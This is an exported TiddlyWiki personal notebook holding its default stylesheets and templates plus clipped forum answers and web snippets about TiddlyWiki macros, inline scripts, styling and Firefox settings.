<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity:60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none ! important;}
#displayArea {margin: 1em 1em 0em 1em;}
/* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
noscript {display:none;}
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
To get started with this blank TiddlyWiki, you'll need to modify the following tiddlers:
* SiteTitle & SiteSubtitle: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* MainMenu: The menu (usually on the left)
* DefaultTiddlers: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These InterfaceOptions for customising TiddlyWiki are saved in your browser

Your username for signing your edits. Write it as a WikiWord (eg JoeBloggs)

<<option txtUserName>>
<<option chkSaveBackups>> SaveBackups
<<option chkAutoSave>> AutoSave
<<option chkRegExpSearch>> RegExpSearch
<<option chkCaseSensitiveSearch>> CaseSensitiveSearch
<<option chkAnimate>> EnableAnimations

----
Also see AdvancedOptions
<<importTiddlers>>
The function to use is:
store.getTiddlerText('TiddlerName##SectionName');
see TiddlyWiki.org for more: [1][2] 

Source: [[script request. . . (possibly in the macro realm) - TiddlyWiki : Google Groups|http://groups.google.com/group/tiddlywiki/browse_thread/thread/b95de9cb062ad2a4]]
Hi! Welcome to IWAB
This is the project homepage for "I Want A Blog", designed to show off some applications of TiddlyWiki in managing web sites. This is all about the concept, so please don't expect to be able to use this as envisioned. The development of I Want A Blog is being led by Nick Webb and Jon Lister from Osmosoft.

You can dive straight in and play with a demo
http://tiddlyhome.bidix.info/iwantablog (what's this do?)

If you're interested in more information about why we're doing this, click below:

    * Concept
    * TiddlyWiki plugins

Futher to this, TiddlyTemplating has loads of user documentation on
TiddlyWiki.org now. Worked examples included:

http://www.tiddlywiki.org/wiki/TiddlyTemplating

J. 

Source: [[  I Want A Blog - the easy way to make pages on the web|http://iwab.tiddlyspot.com/]]
Step-By-Step Guide: Embedded Windows Media in Firefox

Source: [[Step-By-Step Guide: Embedded Windows Media in Firefox • mozillaZine Forums|http://forums.mozillazine.org/viewtopic.php?t=206213]]
To render the references at the bottom of the tiddler, you can use
this TiddlyTools inline script:
   http://www.TiddlyTools.com/#ShowReferences
   (requires http://www.TiddlyTools.com/#InlineJavascriptPlugin) 

Source: [["Reverse" linking? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b532d274b66724db]]
It just occurred to me that the "Simile Timeline" might be better
suited to your needs as it seems more event focused.  It gives a
rolling time line where events past and present can be easily found,
includes graphics as icons and dialogues.   I have seen a couple of
TWs with a plugin installed and it sort of working.  I haven't tried
to install it so can't offer any help.  Anyway here are some links
that I found:

http://project.dahukanna.net/tiddlywiki/timeline/sampletimeline220b5....

http://gospelworthy.tiddlyspot.com/

http://code.google.com/p/simile-widgets/wiki/Timeline

http://simile.mit.edu/timeline/examples/dinosaurs/dinosaurs2.html 

Source: [[What's a good way of setting up an event calendar? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bdce1c73b4e5deca/44ca4076afd03945#44ca4076afd03945]]
> could someone please enlighten me how to make sure that the 'tagging'
> box doesn't overstep the limits of the tiddler

It appears the Mocha theme doesn't properly contain floats. Try adding
this to your StyleSheet:
{{{
     .tiddler {
         overflow: auto;
     } 
}}}
Source: [['tagging' box overflow? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/809f72c72fa773a1#]]
[[/Trunk/association/browsertools - TiddlyWiki - Trac|http://trac.tiddlywiki.org/browser/Trunk/association/browsertools]]
[[/Trunk/association/browsertools/TiddlySnip/trunk - TiddlyWiki - Trac|http://trac.tiddlywiki.org/browser/Trunk/association/browsertools/TiddlySnip/trunk]]

Feel free to take a look at the InstructorNotebook and see what if
anything you might be able to use. However, please do note that this
is very much still in development and rather raw and therefore I can't
promise any support for it: http://share.lewcid.org/POLS250-InstructorNotebook.html
(Go to Manage -> ListTags to get access to the plugins used)

The StudentNotebook on the other hand is much more mature:
http://lewcid.org/2009/02/11/student-notebook-workflow-demo-and-scree... 

Source: [[A TiddlyWiki presentation tool, textbook and notebook. Am I nuts? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a7f595ab08deac2f]]
[[A TiddlyWiki presentation tool, textbook and notebook. Am I nuts? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a7f595ab08deac2f]]
{{{
<<forEachTiddler
   where
     'tiddler.tags.contains("contacts")'
   script 'function nukeData(t) { t.setData("field",""); return ""; }'
   write
     '"[[" + tiddler.title + "]] " + nukeData(tiddler) + "\n"'>

}}}

> This really needs to be a button since opening the containing tiddler
> performs the action and modifies data.

Instead of using ForEachTiddler, you could write an inline 'onclick'
script (using InlineJavascriptPlugin), like this:


{{{
<script label="clear contact data">
   var tids=store.getTaggedTiddlers('contacts');
   for (var t=0; t<tids.length; t++)
      tids[t].setData('field','');
</script>
}}}
enjoy,
-e 

Source: [[Looking for a clue on how to create a button to execute a forEachTiddler macro. - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/99d4cf4da6e93ac5#]]
A guide to Pegasus Mail filenames

Source: [[A guide to Pegasus Mail filenames and file-extensions.|http://30738bypass..www.vandenbogaerde.net/pegasusmail/pf_pmfiles.html]]
A guide to Pegasus Mail filenames and file-extensions

Source: [[A guide to Pegasus Mail filenames and file-extensions.|http://www.vandenbogaerde.net/pegasusmail/pf_pmfiles.html]]
{{{
<script>
   var tids=store.getMatchingTiddlers("To Do OR Done");
   var out="";
   var itemfmt="|<<tiddler CheckboxToggleTag with: Done [[To Do]] %0>>
%0";
   var columns=3;
   for (var t=0; t<tids.length; t++) {
      out+=itemfmt.format(["[["+tids[t].title+"]]"]);
      if ((t+1)%columns==0 || t==tids.length-1) out+="|\n";
   }
   return out;
</script> 
}}}
Source: [[To Do List - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7e54214d5818cda]]
about:config is a feature of Mozilla applications which lists application settings (known as preferences) that are read from the profile files prefs.js and user.js, and from application defaults. Many of these preferences are not present in the Options or Preferences dialog. Using about:config is one of several methods of modifying preferences and adding other "hidden" ones.

Warning: Modifying preferences can, in rare circumstances, break Firefox, Thunderbird or the Mozilla Suite, or can cause strange behavior. Only do so if you know what you are doing or are following trustworthy advice.

Source: [[About:config - MozillaZine Knowledge Base|http://kb.mozillazine.org/About:config]]
Opening about:config

    * In Firefox and Mozilla Suite, type "about:config" (without quotes) in the Location Bar and press Enter.
    * In Thunderbird 1.5 or later, about:config is accessed via "Tools -> Options -> Advanced -> General -> Config Editor (button)". For earlier Thunderbird versions, use the AboutConfig extension.
    * For Nvu, there's a compatible version of the AboutConfig extension here.

Source: [[About:config - MozillaZine Knowledge Base|http://kb.mozillazine.org/About:config]]
[img[http://img79.imageshack.us/img79/8060/aboutconfigzo5.jpg]]
Access the Internet using Email Only

Some useful resources for the global email-only community

Source: [[Access the Internet using Email Only : ACCMAIL|http://emailonly.szs.net/]]
I wanted a more subtle look to my blocked Flash ads than Jesse provided, so I altered his css to this for my use:

{{{
/* Prevent flash animations from playing until you click on them. */
object[classid$=":D27CDB6E-AE6D-11cf-96B8-444553540000"],
object[codebase*="swflash.cab"],
object[type="application/x-shockwave-flash"],
embed[type="application/x-shockwave-flash"],
embed[src$=".swf"]
{ -moz-binding: url("http://www.floppymoose.com/clickToView.xml#ctv"); }
}}}

Feel free to use that if you like the look better.  

Source: [[Ad Blocking for Mozilla, Netscape 7, and Safari|http://www.floppymoose.com/]]
> I'm searching for a hint to insert an image (company logo) into the
> title of a tiddly (template).

> I could not find any ready-to-use solution like for all problems before.
> Is there a solution at all?

http://www.TiddlyTools.com/#TiddlerIconsPlugin
http://www.TiddlyTools.com/#TiddlerIconsPluginConfig

After importing the above tiddlers (and doing a "save-and-reload", of
course), add the following macro invocation into the ViewTemplate, so
that icons will be displayed:
{{{
<span class='title'>
        <span class='floatleft' macro='tiddlerIcons''></span>
        <span macro='view title'></span>
</span>

Next, in [[TiddlerIconsPluginConfig]], add entries for the desired
company logos:

merge(config.macros.tiddlerIcons.map, {
        tagvalue: ["tooltip","imagefile"],
        tagvalue: ["tooltip","imagefile"],
        ...
        tagvalue: ["tooltip","imagefile"]   // note: no comma after last
definition

}

}}}
Then, simply tag the relevant tiddler with one or more tags listed in
the map, and those images will be displayed next to that tiddler's
title.

note: PNG images referenced directly from within the plugin code or
contained in the default config can be obtained from:
   http://www.famfamfam.com/lab/icons/silk/

enjoy, 

Source: [[Add an image to the Tiddly-Title? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/43124d4504a3b6b4]]
> What is the best way of adding a new button to the toolbar?

Similar to creating new macros, you attach an object to config.commands:
---------------
{{{
config.commands.keepTiddler = {
        text: "label",
        tooltip: "tooltip",

        handler: function(event, src, title) {
                // ...
                return false;
        }
};
}}}
---------------

Note that the command handler is executed on click, whereas macro
handlers are executed when the respective macro is rendered.

-- F. 

Source: [[Adding a new button in the Toolbar? - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/41f7e2f06d4be226]]
{{{  .header {
         background: transparent url(img.png) no-repeat scroll top left; }
}}}

I'd take a slightly different approach; instead of putting the CSS code
into PageTemplate, I'd add them to StyleSheet:

(note the "no-repeat" setting) 

Source: [[Adding image as header background to top of page banner - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b518c828cdbdb943]]
> For a collaboration project I'm developing, I wish this command: [...]
> ...to be in the *head* of every tiddler

You should add an element in the ViewTemplate, e.g.:
{{{
     <div class='title' macro='view title'></div>
     <div class='myCustomContainer' macro='myCustomMacro'></div>
}}}
Illustrated here:
     http://tiddlywiki.pastebin.com/f52d1d5fe

HTH. 

Source: [[Adding to tiddler template head - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/cf5515e83c78f44a#]]
<<LaunchApplicationButton "shell:Administrative Tools" " " "file:///C:\Users\Morris wa9crd\AppData\Roaming\Microsoft\Windows\Start Menu\Programs">>
<<LaunchApplicationButton "shell:Common Programs" " " "file:///C:\ProgramData\Microsoft\Windows\Start Menu">>
How do I get to the Settings Manager?

The Settings Manager is a special control panel that runs on your local computer but is displayed within and accessed from the Adobe website. Adobe does not have access to the settings that you see in the Settings Manager or to personal information on your computer.

Source: [[Adobe - Flash Player : Settings Manager|http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager.html]]
<<options>>
<<option chkHoldSearches>> Hold search results
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[AllNotes]]>>
@@color:#C06;''&raquo; &raquo;'' @@   Notes/comments attached to tabs: see note below
----
<script>
// get all tiddlers tagged with "allnotes"
var tids=store.getTaggedTiddlers("allnotes");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("allnotes")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
This is a list of the notes attached to tabs; the text preceding ''-Comments'' is the name of the tab.
<script>
// get all tiddlers tagged with "Reference"
var tids=store.getTaggedTiddlers("Reference");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("Reference")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
!!!<<gradient horz #fcb #fff>>AllSnips>>
{{systemcontents{
